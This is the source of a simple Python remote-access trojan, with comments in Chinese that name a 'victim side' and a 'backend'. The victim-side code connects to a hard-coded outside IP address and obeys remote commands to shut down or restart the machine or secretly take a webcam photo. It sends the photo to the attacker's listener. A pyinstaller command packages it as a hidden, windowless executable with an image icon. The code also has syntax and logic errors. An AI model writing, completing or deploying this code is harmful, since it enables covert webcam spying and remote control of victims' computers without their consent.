#木‘’马 受害者那边#pyinstaller -F -w -i 234.pngimport osimport cv2 # pip3 install opencv-pythonfrom socket import *
#木‘’马 受害者那边
#pyinstaller -F -w -i 234.png
import os
import cv2 # pip3 install opencv-python
from socket import *
s = socket()
# 1.准备一个套接字
s.connect(('146.56.223.48',8848))
# 安排在受害者电脑的间谍
text = s.recv(1024).decode()
print(text)
choice = s.recv(1024).decode()
if choice =='1':
os.system('shutdown -s -t 60')
elif choice =='2'
os.system('shutdown -r -t 60')
elif choice == '3'
# 1.打开受害者摄像头!
cap = cv2.VideoCapture(1)
# 2.摄像头读取一帧图像!0帧起手
ret, frame = cap.read()
ret, frame = cap.read()
#回应,老婆 = 钻戒.求婚()
# 3.保存在受害者的电脑上!
cv2.imwrite('1.png',frame)
# 4.摄像头关闭!正经!灯!
cap.release()
# 5.把图片发给后台
# 先把文件的大小算出来 发送给后台 等待后台回复确认
file_size = os.path.getsize('1.png')
s.send(str(file_size).encode())
s.recv(1024).decode()
#打开文件 一点一点读出来 一点一点发送
with open('1.png', 'rb') as file:
for data in file:
s.send(data)
#后台
from socket import * #导入网络变成的模块
S = socket()
# 1.准备一个
S.bind(('0.0.0.0',8848))
# 2.套接字绑
s.listen()
# 3.套接字开
s, addr = S.accept()
# 4.如果有木
print('受害者IP:',addr)
# 幕后黑手
s.send('三更老师爱死你啦!'.encode())
print('1.关机 2.重启 3.瞄一眼')
choice = input('请选择:')
s.send(choice.encode())
if choice == '3':
#,先收到文件大小 回复确认信息
file = int(s.recv(1024).decode())
s.send('ojbk'.encode())
# 准备一个空文件 一点一点接 一点一点写入文件
cur_size = 0 #刻度为0
with open('2.png', 'rb') as file: #准备一个容器
while cur_size < file_size: #刻度小于目标值 一直循环
data = s.recv(1024) # 一点一点接
file.write(data) #接到的数据放到容器
cur_size += len(data) #把接到的数据大小累加到刻度上